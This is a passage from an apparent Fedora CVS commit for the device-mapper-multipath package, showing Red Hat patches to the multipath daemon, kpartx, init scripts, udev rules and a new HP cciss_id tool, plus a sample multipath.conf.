-		pathinfo(pp, conf->hwtable, DI_SYSFS);
-		select_checker(pp);
-	}
-	if (!checker_selected(&pp->checker)) {
-		condlog(0, "%s: checker is not set", pp->dev);
-		return;
-	}
-	/*
-	 * Set checker in async mode.
-	 * Honored only by checker implementing the said mode.
-	 */
-	checker_set_async(&pp->checker);
-
-	if (path_offline(pp))
-		newstate = PATH_DOWN;
-	else
-		newstate = checker_check(&pp->checker);
+	newstate = get_state(pp, 1);
 
-	if (newstate < 0) {
+	if (newstate == PATH_WILD || newstate == PATH_UNCHECKED) {
 		condlog(2, "%s: unusable path", pp->dev);
 		pathinfo(pp, conf->hwtable, 0);
 		return;
-- 
1.6.5.1


0003-RH-root-init-script.patch:
 multipathd.init.redhat |   39 +++++++++++++++++++++++++++++++++++++--
 1 file changed, 37 insertions(+), 2 deletions(-)

--- NEW FILE 0003-RH-root-init-script.patch ---
>From e6a23cc9de85a66d774567515592bdbdba7b2ca4 Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Tue, 13 Oct 2009 08:19:01 +0200
Subject: [PATCH 03/12] RH: root init script

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 ee776f0... e46b1b8... M	multipathd/multipathd.init.redhat
 multipathd/multipathd.init.redhat |   38 ++++++++++++++++++++++++++++++++++++-
 1 files changed, 37 insertions(+), 1 deletions(-)

diff --git a/multipathd/multipathd.init.redhat b/multipathd/multipathd.init.redhat
index ee776f0..e46b1b8 100644
--- a/multipathd/multipathd.init.redhat
+++ b/multipathd/multipathd.init.redhat
@@ -2,7 +2,7 @@
 #
 # multipathd	Starts the multipath daemon
 #
-# chkconfig: - 13 87
+# chkconfig: - 06 87
 # description: Manages device-mapper multipath devices
 
 ### BEGIN INIT INFO
@@ -17,6 +17,7 @@ prog=`basename $DAEMON`
 initdir=/etc/rc.d/init.d
 lockdir=/var/lock/subsys
 sysconfig=/etc/sysconfig
+syspath=/sys/block
 
  
 . $initdir/functions
@@ -25,6 +26,36 @@ test -r $sysconfig/$prog && . $sysconfig/$prog
 
 RETVAL=0
 
+teardown_slaves()
+{
+pushd $1 > /dev/null
+if [ -d "slaves" ]; then
+for slave in slaves/*;
+do
+	if [ "$slave" = "slaves/*" ]; then
+		read dev <  $1/dev
+		tablename=`dmsetup table --target multipath | sed -n "s/\(.*\): .* $dev .*/\1/p"`
+		if ! [ -z $tablename ]; then
+			echo "Root is on a multipathed device, multipathd can not be stopped"
+			exit 1
+		fi
+	else
+		local_slave=`readlink -f $slave`;
+		teardown_slaves $local_slave;
+	fi
+	done
+
+else
+		read dev <  $1/dev
+		tablename=`dmsetup table --target multipath | sed -n "s/\(.*\): .* $dev .*/\1/p"`
+		if ! [ -z $tablename ]; then
+			echo "Root is on a multipathed device, multipathd can not be stopped"
+			exit 1
+		fi
+fi
+popd > /dev/null
+}
+
 #
 # See how we were called.
 #
@@ -39,6 +70,11 @@ start() {
 }
 
 stop() {
+        root_dev=$(awk '{ if ($1 !~ /^[ \t]*#/ && $2 == "/") { print $1; }}' /etc/mtab)
+	dm_num=`dmsetup info -c --noheadings -o minor $root_dev`
+	root_dm_device="dm-$dm_num"
+	[ -d $syspath/$root_dm_device ] && teardown_slaves $syspath/$root_dm_device
+
 	echo -n $"Stopping $prog daemon: "
 	killproc $DAEMON
 	RETVAL=$?
-- 
1.6.5.1


0004-RH-fix-kpartx.patch:
 kpartx.c |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE 0004-RH-fix-kpartx.patch ---
>From 8d443fe2c58e22166426438e6f6d5757934f7b31 Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Tue, 13 Oct 2009 08:23:42 +0200
Subject: [PATCH 04/12] RH: fix kpartx

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 b61a81f... 103ed0a... M	kpartx/kpartx.c
 kpartx/kpartx.c |    6 ++++--
 1 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/kpartx/kpartx.c b/kpartx/kpartx.c
index b61a81f..103ed0a 100644
--- a/kpartx/kpartx.c
+++ b/kpartx/kpartx.c
@@ -488,6 +488,7 @@ main(int argc, char **argv){
 			d = c;
 			while (c) {
 				for (j = 0; j < n; j++) {
+					uint64_t start;
 					int k = slices[j].container - 1;
 
 					if (slices[j].size == 0)
@@ -498,7 +499,7 @@ main(int argc, char **argv){
 						continue;
 
 					/* Skip all simple slices */
-					if (k < 0)
+					if (slices[j].container == 0)
 						continue;
 
 					/* Check container slice */
@@ -513,10 +514,11 @@ main(int argc, char **argv){
 					}
 					strip_slash(partname);
 
+					start = slices[j].start - slices[k].start;
 					if (safe_sprintf(params, "%d:%d %" PRIu64,
 							 slices[k].major,
 							 slices[k].minor,
-							 slices[j].start)) {
+							 start)) {
 						fprintf(stderr, "params too small\n");
 						exit(1);
 					}
-- 
1.6.5.1


0005-RH-cciss_id.patch:
 Makefile            |    3 -
 cciss_id/Makefile   |   47 ++++++++++++++++++
 cciss_id/cciss_id.c |  129 +++++++++++++++++++++++++++++++++++++++++++++++++++-
 3 files changed, 177 insertions(+), 2 deletions(-)

--- NEW FILE 0005-RH-cciss_id.patch ---
>From a3db7def912c2fd3756cfd99c1165db075281caa Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Tue, 13 Oct 2009 09:26:02 +0200
Subject: [PATCH 05/12] RH: cciss_id

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 54be0a5... 7e4b7b1... M	Makefile
:000000 100644 0000000... 6db12a4... A	cciss_id/Makefile
:000000 100644 0000000... 091b5fe... A	cciss_id/cciss_id.c
 Makefile            |    3 +-
 cciss_id/Makefile   |   47 +++++++++++++++++++
 cciss_id/cciss_id.c |  128 +++++++++++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 177 insertions(+), 1 deletions(-)

diff --git a/Makefile b/Makefile
index 54be0a5..7e4b7b1 100644
--- a/Makefile
+++ b/Makefile
@@ -25,7 +25,8 @@ BUILDDIRS = \
 	libmultipath/checkers \
 	multipath \
 	multipathd \
-	kpartx
+	kpartx \
+	cciss_id
 
 ifeq   ($(MULTIPATH_VERSION),)
 VERSION = $(shell basename ${PWD} | cut -d'-' -f3)
diff --git a/cciss_id/Makefile b/cciss_id/Makefile
new file mode 100644
index 0000000..6db12a4
--- /dev/null
+++ b/cciss_id/Makefile
@@ -0,0 +1,47 @@
+
+# *****************************************************************************
+# *                                                                           *
+# *     (C)  Copyright 2007 Hewlett-Packard Development Company, L.P          *
+# *                                                                           *
+# * This program is free software; you can redistribute it and/or modify it   *
+# * under the terms of the GNU General Public License as published by the Free*
+# * Software  Foundation; either version 2 of the License, or (at your option)*
+# * any later version.                                                        *
+# *                                                                           *
+# * This program is distributed in the hope that it will be useful, but       *
+# * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY*
+# * or FITNESS FOR  A PARTICULAR PURPOSE. See the GNU General Public License  *
+# * for more details.                                                         *
+# *                                                                           *
+# * You should have received a copy of the GNU General Public License along   *
+# * with this program; if not, write to the Free Software Foundation, Inc.,   *
+# * 675 Mass Ave, Cambridge, MA 02139, USA.                                   *
+# *                                                                           *
+# *                                                                           *
+# *                                                                           *
+# *                                                                           *
+# *****************************************************************************
+
+include ../Makefile.inc
+
+OBJS = cciss_id.o
+CFLAGS = -pipe -g -Wall -Wunused -Wstrict-prototypes
+
+LDFLAGS = -ldevmapper
+
+EXEC = cciss_id
+
+all: $(EXEC)
+
+$(EXEC): $(OBJS)
+	$(CC) $(OBJS) -o $(EXEC) $(LDFLAGS)
+
+install:
+	$(INSTALL_PROGRAM) -d $(DESTDIR)$(bindir)
+	$(INSTALL_PROGRAM) -m 755 $(EXEC) $(DESTDIR)$(bindir)/
+
+uninstall:
+	rm $(DESTDIR)$(bindir)/$(EXEC)
+
+clean:
+	rm -f core.* *.o $(EXEC) *.gz
diff --git a/cciss_id/cciss_id.c b/cciss_id/cciss_id.c
new file mode 100644
index 0000000..091b5fe
--- /dev/null
+++ b/cciss_id/cciss_id.c
@@ -0,0 +1,128 @@
+/*
+ *****************************************************************************
+ *                                                                           *
+ *     (C)  Copyright 2007 Hewlett-Packard Development Company, L.P          *
+ *                                                                           *
+ * This program is free software; you can redistribute it and/or modify it   *
+ * under the terms of the GNU General Public License as published by the Free*
+ * Software  Foundation; either version 2 of the License, or (at your option)*
+ * any later version.                                                        *
+ *                                                                           *
+ * This program is distributed in the hope that it will be useful, but       *
+ * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY*
+ * or FITNESS FOR  A PARTICULAR PURPOSE. See the GNU General Public License  *
+ * for more details.                                                         *
+ *                                                                           *
+ * You should have received a copy of the GNU General Public License along   *
+ * with this program; if not, write to the Free Software Foundation, Inc.,   *
+ * 675 Mass Ave, Cambridge, MA 02139, USA.                                   *
+ *                                                                           *
+ *                                                                           *
+ *                                                                           *
+ *                                                                           *
+ *****************************************************************************
+*/
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <string.h>
+
+#include <linux/cciss_ioctl.h>
+
+#define LEN_PAGE83_CCISSDEV	0x20 	/* Page length of 83h for cciss devices */
+#define LEN_DEVICEFILE	255 		/* Length of device file name */
+#define PATH_CCISSDEV	"/dev/cciss/" 	/* Path of CCISS devices */
+int main(int argc, char *argv[])
+{
+	const int resp_len = LEN_PAGE83_CCISSDEV;
+	unsigned char resp[resp_len+1];
+	char dev_name[LEN_DEVICEFILE] = "\0" ;
+	unsigned int lun_id = 0;
+	int fd, status, i;
+	struct stat file_stat;
+
+	LogvolInfo_struct    lvi;	// logical "volume" info
+	IOCTL_Command_struct cic; 	// cciss ioctl command
+
+	if(argc < 2) {
+		fprintf(stderr, "Usage: %s /dev/cciss/cNdN\n", argv[0]);
+		return -1;
+	}
+
+	if ( strncmp(PATH_CCISSDEV, argv[1], strlen(PATH_CCISSDEV) ) != 0 ) {
+		if ( strchr(argv[1], '!') ) {
+			sprintf(dev_name, "%s%s", PATH_CCISSDEV,
+				strchr(argv[1], '!')+1);
+		}
+                //fprintf(stderr, "dev_name is: -%s-", dev_name);
+        } else {
+		sprintf(dev_name, "%s", argv[1]);
+	}
+
+	if (stat(dev_name, &file_stat) < 0) {
+		fprintf (stderr, "Stat failed for file %s. Errno=%d\n", dev_name, errno);
+		return -1;
+	}
+	if (!S_ISBLK(file_stat.st_mode)) {
+		fprintf (stderr, "File %s is not a block device. \n", dev_name);
+                return -1;
+	}
+
+
+	if((fd = open(dev_name,  O_RDWR)) < 0) {
+		fprintf(stderr, "Open failed for file %s. Errno=%d\n", dev_name, errno);
+		return -1;
+	}
+
+       	if (ioctl(fd, CCISS_GETLUNINFO, &lvi) < 0) {
+		fprintf(stderr, "IOCTL failure CCISS_GETLUNINFO for file %s Errno=%d\n", dev_name, errno);
+		close(fd);
+                return -1;
+       	} else {
+	       	lun_id = lvi.LunID;
+       	}
+
+	memset(&cic, 0, sizeof(IOCTL_Command_struct));
+	memset(resp, 0, resp_len+1);
+	cic.LUN_info.LogDev.Mode = 0x01; /* logical volume addressing */
+	cic.LUN_info.LogDev.VolId = lun_id & 0x3FFFFFFF;
+	cic.Request.CDBLen = 6;
+	cic.Request.Type.Type =  TYPE_CMD; // It is a command.
+	cic.Request.Type.Attribute = ATTR_SIMPLE;
+	cic.Request.Type.Direction = XFER_READ; // Read
+	cic.Request.Timeout = 0; // Don't time out
+	cic.Request.CDB[0] = 0x12;
+	cic.Request.CDB[1] = 0x01; /* EVPD (enable vital product data) */
+	cic.Request.CDB[2] = 0x83;
+	cic.Request.CDB[4] = resp_len & 0xFF;
+	cic.buf_size = resp_len;
+	cic.buf = resp;
+	status = ioctl(fd, CCISS_PASSTHRU, &cic);
+	if(status) {
+		fprintf(stderr, "IOCTL failure CCISS_PASSTHRU for file %s Errno=%d\n", dev_name, errno);
+		close(fd);
+                return -1;
+	}
+	else {
+		if ((cic.error_info.CommandStatus | cic.error_info.ScsiStatus )) {
+             		fprintf(stderr, "CCISS command status error for Inquiry on %s\n",
+                       		dev_name);
+                	close(fd);
+             		return -1;
+        	}
+		printf("3");
+		for(i=8; i<24; i++)
+			/* printf("Buff[%d] =%x\n", i, resp[i]); */
+			printf("%02x", resp[i]);
+		printf("\n");
+	}
+
+	close(fd);
+	return 0;
+}
-- 
1.6.5.1


0006-RH-move-bindings.patch:
 libmultipath/defaults.h    |    2 +-
 multipath.conf.annotated   |    2 +-
 multipath/multipath.conf.5 |    3 +--
 3 files changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE 0006-RH-move-bindings.patch ---
>From ff4c0c9ccbf8abe4a67c2a6cceef07bda9d38d7d Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Tue, 13 Oct 2009 09:26:25 +0200
Subject: [PATCH 06/12] RH: move bindings

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 84e5d6b... 5a38d25... M	libmultipath/defaults.h
:100644 100644 9afa615... 7b6453f... M	multipath.conf.annotated
:100644 100644 a165e4e... 4340e51... M	multipath/multipath.conf.5
 libmultipath/defaults.h    |    2 +-
 multipath.conf.annotated   |    2 +-
 multipath/multipath.conf.5 |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/libmultipath/defaults.h b/libmultipath/defaults.h
index 84e5d6b..5a38d25 100644
--- a/libmultipath/defaults.h
+++ b/libmultipath/defaults.h
@@ -19,6 +19,6 @@
 #define DEFAULT_PIDFILE		"/var/run/multipathd.pid"
 #define DEFAULT_SOCKET		"/var/run/multipathd.sock"
 #define DEFAULT_CONFIGFILE	"/etc/multipath.conf"
-#define DEFAULT_BINDINGS_FILE	"/var/lib/multipath/bindings"
+#define DEFAULT_BINDINGS_FILE	"/etc/multipath/bindings"
 
 char * set_default (char * str);
diff --git a/multipath.conf.annotated b/multipath.conf.annotated
index 9afa615..7b6453f 100644
--- a/multipath.conf.annotated
+++ b/multipath.conf.annotated
@@ -165,7 +165,7 @@
 #	# name    : user_friendly_names
 #	# scope   : multipath
 #	# desc    : If set to "yes", using the bindings file
-#	#           /var/lib/multipath/bindings to assign a persistent and
+#	#           /etc/multipath/bindings to assign a persistent and
 #	#           unique alias to the multipath, in the form of mpath<n>.
 #	#           If set to "no" use the WWID as the alias. In either case
 #	#           this be will be overriden by any specific aliases in this
diff --git a/multipath/multipath.conf.5 b/multipath/multipath.conf.5
index a165e4e..4340e51 100644
--- a/multipath/multipath.conf.5
+++ b/multipath/multipath.conf.5
@@ -224,7 +224,7 @@ for never stop queueing. Default is 0.
 If set to 
 .I yes
 , using the bindings file
-.I /var/lib/multipath/bindings
+.I /etc/multipath/bindings
 to assign a persistent and unique alias to the multipath, in the form of mpath<n>.
 If set to 
 .I no
-- 
1.6.5.1


0007-RH-do-not-remove.patch:
 main.c |   14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

--- NEW FILE 0007-RH-do-not-remove.patch ---
>From b3519ef2eda768672d47c61f0acf8c87d74db427 Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Tue, 13 Oct 2009 09:33:59 +0200
Subject: [PATCH 07/12] RH: do not remove

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 5d3625a... 244b8d5... M	multipathd/main.c
 multipathd/main.c |   13 ++++++++++++-
 1 files changed, 12 insertions(+), 1 deletions(-)

diff --git a/multipathd/main.c b/multipathd/main.c
index 5d3625a..244b8d5 100644
--- a/multipathd/main.c
+++ b/multipathd/main.c
@@ -290,8 +290,19 @@ ev_add_map (struct sysfs_device * dev, struct vectors * vecs)
 static int
 uev_remove_map (struct sysfs_device * dev, struct vectors * vecs)
 {
+	struct multipath * mpp;
+
 	condlog(2, "%s: remove map (uevent)", dev->kernel);
-	return ev_remove_map(dev->kernel, vecs);
+
+	mpp = find_mp_by_str(vecs->mpvec, dev->kernel);
+	if (!mpp) {
+		condlog(2, "%s: devmap not registered, can't remove",
+			dev->kernel);
+		return 0;
+	}
+	orphan_paths(vecs->pathvec, mpp);
+	remove_map_and_stop_waiter(mpp, vecs, 1);
+	return 0;
 }
 
 int
-- 
1.6.5.1


0008-RH-Make-build-system-RH-Fedora-friendly.patch:
 Makefile.inc        |    2 +-
 kpartx/Makefile     |    8 ++++----
 multipathd/Makefile |    2 +-
 3 files changed, 6 insertions(+), 6 deletions(-)

--- NEW FILE 0008-RH-Make-build-system-RH-Fedora-friendly.patch ---
>From f5e11246063b07d6dce6d37d3b74662475baa981 Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Thu, 15 Oct 2009 04:39:27 +0200
Subject: [PATCH 08/12] RH: Make build system RH/Fedora friendly

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 7ec25d5... 06fb625... M	Makefile.inc
:100644 100644 21e4ad4... 06d79c0... M	kpartx/Makefile
:100644 100644 32d9ef5... 25e1483... M	multipathd/Makefile
 Makefile.inc        |    2 +-
 kpartx/Makefile     |    8 ++++----
 multipathd/Makefile |    1 +
 3 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/Makefile.inc b/Makefile.inc
index 7ec25d5..06fb625 100644
--- a/Makefile.inc
+++ b/Makefile.inc
@@ -28,7 +28,7 @@ libudevdir  = ${prefix}/lib/udev
 multipathdir = $(TOPDIR)/libmultipath
 mandir      = $(prefix)/usr/share/man/man8
 man5dir     = $(prefix)/usr/share/man/man5
-rcdir	    = $(prefix)/etc/init.d
+rcdir	    = $(prefix)/etc/rc.d/init.d
 syslibdir   = $(prefix)/$(LIB)
 libdir	    = $(prefix)/$(LIB)/multipath
 
diff --git a/kpartx/Makefile b/kpartx/Makefile
index 21e4ad4..06d79c0 100644
--- a/kpartx/Makefile
+++ b/kpartx/Makefile
@@ -20,10 +20,10 @@ $(EXEC): $(OBJS)
 install: $(EXEC) $(EXEC).8
 	$(INSTALL_PROGRAM) -d $(DESTDIR)$(bindir)
 	$(INSTALL_PROGRAM) -m 755 $(EXEC) $(DESTDIR)$(bindir)
-	$(INSTALL_PROGRAM) -d $(DESTDIR)$(libudevdir)
-	$(INSTALL_PROGRAM) -m 755 kpartx_id $(DESTDIR)$(libudevdir)
-	$(INSTALL_PROGRAM) -d $(DESTDIR)/etc/udev/rules.d
-	$(INSTALL_PROGRAM) -m 644 kpartx.rules $(DESTDIR)/etc/udev/rules.d/
+#	$(INSTALL_PROGRAM) -d $(DESTDIR)$(libudevdir)
+#	$(INSTALL_PROGRAM) -m 755 kpartx_id $(DESTDIR)$(libudevdir)
+#	$(INSTALL_PROGRAM) -d $(DESTDIR)/etc/udev/rules.d
+#	$(INSTALL_PROGRAM) -m 644 kpartx.rules $(DESTDIR)/etc/udev/rules.d/
 	$(INSTALL_PROGRAM) -d $(DESTDIR)$(mandir)
 	$(INSTALL_PROGRAM) -m 644 $(EXEC).8.gz $(DESTDIR)$(mandir)
 
diff --git a/multipathd/Makefile b/multipathd/Makefile
index 32d9ef5..25e1483 100644
--- a/multipathd/Makefile
+++ b/multipathd/Makefile
@@ -35,6 +35,7 @@ install:
 	$(INSTALL_PROGRAM) -d $(DESTDIR)$(bindir)
 	$(INSTALL_PROGRAM) -m 755 $(EXEC) $(DESTDIR)$(bindir)
 	$(INSTALL_PROGRAM) -d $(DESTDIR)$(rcdir)
+	$(INSTALL_PROGRAM) -m 755 multipathd.init.redhat $(DESTDIR)$(rcdir)/$(EXEC)
 	$(INSTALL_PROGRAM) -d $(DESTDIR)$(mandir)
 	$(INSTALL_PROGRAM) -m 644 $(EXEC).8.gz $(DESTDIR)$(mandir)
 
-- 
1.6.5.1


0009-RH-multipathd-blacklist-all-by-default.patch:
 config.c |   18 +++++++++++++++++-
 config.h |    2 +-
 2 files changed, 18 insertions(+), 2 deletions(-)

--- NEW FILE 0009-RH-multipathd-blacklist-all-by-default.patch ---
>From 61b2002c6b2752c15b431e400cd614edc8c5b039 Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Mon, 19 Oct 2009 07:05:45 +0200
Subject: [PATCH 09/12] RH: multipathd blacklist all by default

If there is no configuration installed on the system, blacklist
everything by default.

BZ#528059

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 e7e962e... 5aa1ab0... M	libmultipath/config.c
:100644 100644 86b1320... 7e90e75... M	libmultipath/config.h
 libmultipath/config.c |   18 +++++++++++++++++-
 libmultipath/config.h |    1 +
 2 files changed, 18 insertions(+), 1 deletions(-)

diff --git a/libmultipath/config.c b/libmultipath/config.c
index e7e962e..5aa1ab0 100644
--- a/libmultipath/config.c
+++ b/libmultipath/config.c
@@ -19,6 +19,7 @@
 #include "blacklist.h"
 #include "defaults.h"
 #include "prio.h"
+#include "version.h"
 
 static int
 hwe_strmatch (struct hwentry *hwe1, struct hwentry *hwe2)
@@ -463,8 +464,23 @@ load_config (char * file)
 			condlog(0, "error parsing config file");
 			goto out;
 		}
+	} else {
+		condlog(0, "/etc/multipath.conf does not exist, blacklisting all devices.");
+		condlog(0, "A default multipath.conf file is located at");
+		condlog(0,
+"/usr/share/doc/device-mapper-multipath-%d.%d.%d/multipath.conf",
+			MULTIPATH_VERSION(VERSION_CODE));
+		conf->blist_devnode = vector_alloc();
+		if (!conf->blist_devnode) {
+			condlog(0, "cannot allocate blacklist\n");
+			goto out;
+		}
+		if (store_ble(conf->blist_devnode, strdup(".*"),
+			      ORIGIN_NO_CONFIG)) {
+			condlog(0, "cannot store default no-config blacklist\n");
+			goto out;
+		}
 	}
-
 	/*
 	 * remove duplica in hwtable. config file takes precedence
 	 * over build-in hwtable
diff --git a/libmultipath/config.h b/libmultipath/config.h
index 86b1320..7e90e75 100644
--- a/libmultipath/config.h
+++ b/libmultipath/config.h
@@ -5,6 +5,7 @@
 
 #define ORIGIN_DEFAULT 0
 #define ORIGIN_CONFIG  1
+#define ORIGIN_NO_CONFIG 2
 
 enum devtypes {
 	DEV_NONE,
-- 
1.6.5.1


0010-RH-multipath-rules-udev-changes.patch:
 multipath.rules |   19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

--- NEW FILE 0010-RH-multipath-rules-udev-changes.patch ---
>From 5a43356b54c2672441ce67cd9602904a5df04117 Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Mon, 19 Oct 2009 07:07:01 +0200
Subject: [PATCH 10/12] RH: multipath rules + udev changes

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 ac97749... 064196d... M	multipath/multipath.rules
 multipath/multipath.rules |   18 +++++++++++-------
 1 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/multipath/multipath.rules b/multipath/multipath.rules
index ac97749..064196d 100644
--- a/multipath/multipath.rules
+++ b/multipath/multipath.rules
@@ -1,7 +1,11 @@
-#
-# udev rules for multipathing.
-# The persistent symlinks are created with the kpartx rules
-#
-
-# socket for uevents
-SUBSYSTEM=="block", RUN+="socket:/org/kernel/dm/multipath_event"
+# multipath wants the devmaps presented as meaninglful device names
+# so name them after their devmap name
+SUBSYSTEM!="block", GOTO="end_mpath"
+RUN+="socket:/org/kernel/dm/multipath_event"
+KERNEL!="dm-*", GOTO="end_mpath"
+ACTION!="change", GOTO="end_mpath"
+ENV{DM_SUSPENDED}=="1", GOTO="end_mpath"
+ENV{DM_UUID}!="mpath-?*", GOTO="end_mpath"
+ENV{DM_ACTION}=="PATH_FAILED", GOTO="end_mpath"
+RUN+="/sbin/kpartx -a -p p $tempnode"
+LABEL="end_mpath"
-- 
1.6.5.1


0011-RH-fix-init-script-LSB-headers.patch:
 multipathd.init.redhat |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE 0011-RH-fix-init-script-LSB-headers.patch ---
>From 887b0721d29eed45621b5a7fefaf462378cc9dcd Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Mon, 19 Oct 2009 08:33:07 +0200
Subject: [PATCH 11/12] RH: fix init script LSB headers

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 e46b1b8... cfc9cf5... M	multipathd/multipathd.init.redhat
 multipathd/multipathd.init.redhat |    4 ++++
 1 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/multipathd/multipathd.init.redhat b/multipathd/multipathd.init.redhat
index e46b1b8..cfc9cf5 100644
--- a/multipathd/multipathd.init.redhat
+++ b/multipathd/multipathd.init.redhat
@@ -7,6 +7,10 @@
 
 ### BEGIN INIT INFO
 # Provides: multipathd
+# Required-Start:
+# Required-Stop:
+# Default-Start:
+# Default-Stop:
 # Short-Description: Control multipathd
 # Description: This service monitors and manages
 #              device-mapper multipath devices
-- 
1.6.5.1


0012-RH-explicitly-disable-dm-udev-sync-support-in-kpartx.patch:
 kpartx.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE 0012-RH-explicitly-disable-dm-udev-sync-support-in-kpartx.patch ---
>From c104e104645fcf271956e174eca9ccbf0e443014 Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Tue, 20 Oct 2009 15:17:13 +0200
Subject: [PATCH 12/12] RH: explicitly disable dm udev sync support in kpartx

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 103ed0a... 9619edb... M	kpartx/kpartx.c
 kpartx/kpartx.c |    4 ++++
 1 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/kpartx/kpartx.c b/kpartx/kpartx.c
index 103ed0a..9619edb 100644
--- a/kpartx/kpartx.c
+++ b/kpartx/kpartx.c
@@ -256,6 +256,10 @@ main(int argc, char **argv){
 			exit(1);
 	}
 
+#ifdef DM_COOKIE_MAGIC
+	dm_udev_set_sync_support(0);
+#endif
+
 	if (dm_prereq(DM_TARGET, 0, 0, 0) && (what == ADD || what == DELETE)) {
 		fprintf(stderr, "device mapper prerequisites not met\n");
 		exit(1);
-- 
1.6.5.1



--- NEW FILE import.log ---
device-mapper-multipath-0_4_9-10_fc13:HEAD:device-mapper-multipath-0.4.9-10.fc13.src.rpm:1256637500


--- NEW FILE multipath.conf.redhat ---
# This is a basic configuration file with some examples, for device mapper
# multipath.
# For a complete list of the default configuration values, see
# /usr/share/doc/device-mapper-multipath-0.4.9/multipath.conf.defaults
# For a list of configuration options with descriptions, see
# /usr/share/doc/device-mapper-multipath-0.4.9/multipath.conf.annotated


# Blacklist all devices by default. Remove this to enable multipathing
# on the default devices.
blacklist {
        devnode "*"
}

## By default, devices with vendor = "IBM" and product = "S/390.*" are
## blacklisted. To enable mulitpathing on these devies, uncomment the
## following lines.
#blacklist_exceptions {
#	device {
#		vendor	"IBM"
#		product	"S/390.*"
#	}
#}

## Use user friendly names, instead of using WWIDs as names.
defaults {
	user_friendly_names yes
}
##
## Here is an example of how to configure some standard options.
##
#
#defaults {
#	udev_dir		/dev
#	polling_interval 	10
#	selector		"round-robin 0"
#	path_grouping_policy	multibus
#	getuid_callout		"/lib/udev/scsi_id --whitelisted --device=/dev/%n"
#	prio			alua
#	path_checker		readsector0
#	rr_min_io		100
#	max_fds			8192
#	rr_weight		priorities
#	failback		immediate
#	no_path_retry		fail
#	user_friendly_names	yes
#}
##
## The wwid line in the following blacklist section is shown as an example
## of how to blacklist devices by wwid.  The 2 devnode lines are the
## compiled in default blacklist. If you want to blacklist entire types
## of devices, such as all scsi devices, you should use a devnode line.
## However, if you want to blacklist specific devices, you should use
## a wwid line.  Since there is no guarantee that a specific device will
## not change names on reboot (from /dev/sda to /dev/sdb for example)
## devnode lines are not recommended for blacklisting specific devices.
##
#blacklist {
#       wwid 26353900f02796769
#	devnode "^(ram|raw|loop|fd|md|dm-|sr|scd|st)[0-9]*"
#	devnode "^hd[a-z]"
#}
#multipaths {
#	multipath {
#		wwid			3600508b4000156d700012000000b0000
#		alias			yellow
#		path_grouping_policy	multibus
#		path_checker		readsector0
#		path_selector		"round-robin 0"
#		failback		manual
#		rr_weight		priorities
#		no_path_retry		5
#	}
#	multipath {
#		wwid			1DEC_____321816758474
#		alias			red
#	}
#}
#devices {
#	device {
#		vendor			"COMPAQ  "
#		product			"HSV110 (C)COMPAQ"
#		path_grouping_policy	multibus
#		getuid_callout          "/lib/udev/scsi_id --whitelisted --device=/dev/%n"
#		path_checker		readsector0
#		path_selector		"round-robin 0"
#		hardware_handler	"0"
#		failback		15
#		rr_weight		priorities
#		no_path_retry		queue
#	}
#	device {
#		vendor			"COMPAQ  "
#		product			"MSA1000         "
#		path_grouping_policy	multibus
#	}
#}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/device-mapper-multipath/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	29 Jul 2009 22:54:06 -0000	1.18
+++ .cvsignore	27 Oct 2009 09:58:59 -0000	1.19
@@ -1 +1 @@
-multipath-tools-090729.tgz
+multipath-tools-091027.tar.gz


Index: device-mapper-multipath.spec
===================================================================
RCS file: /cvs/pkgs/rpms/device-mapper-multipath/devel/device-mapper-multipath.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- device-mapper-multipath.spec	20 Aug 2009 22:28:44 -0000	1.62
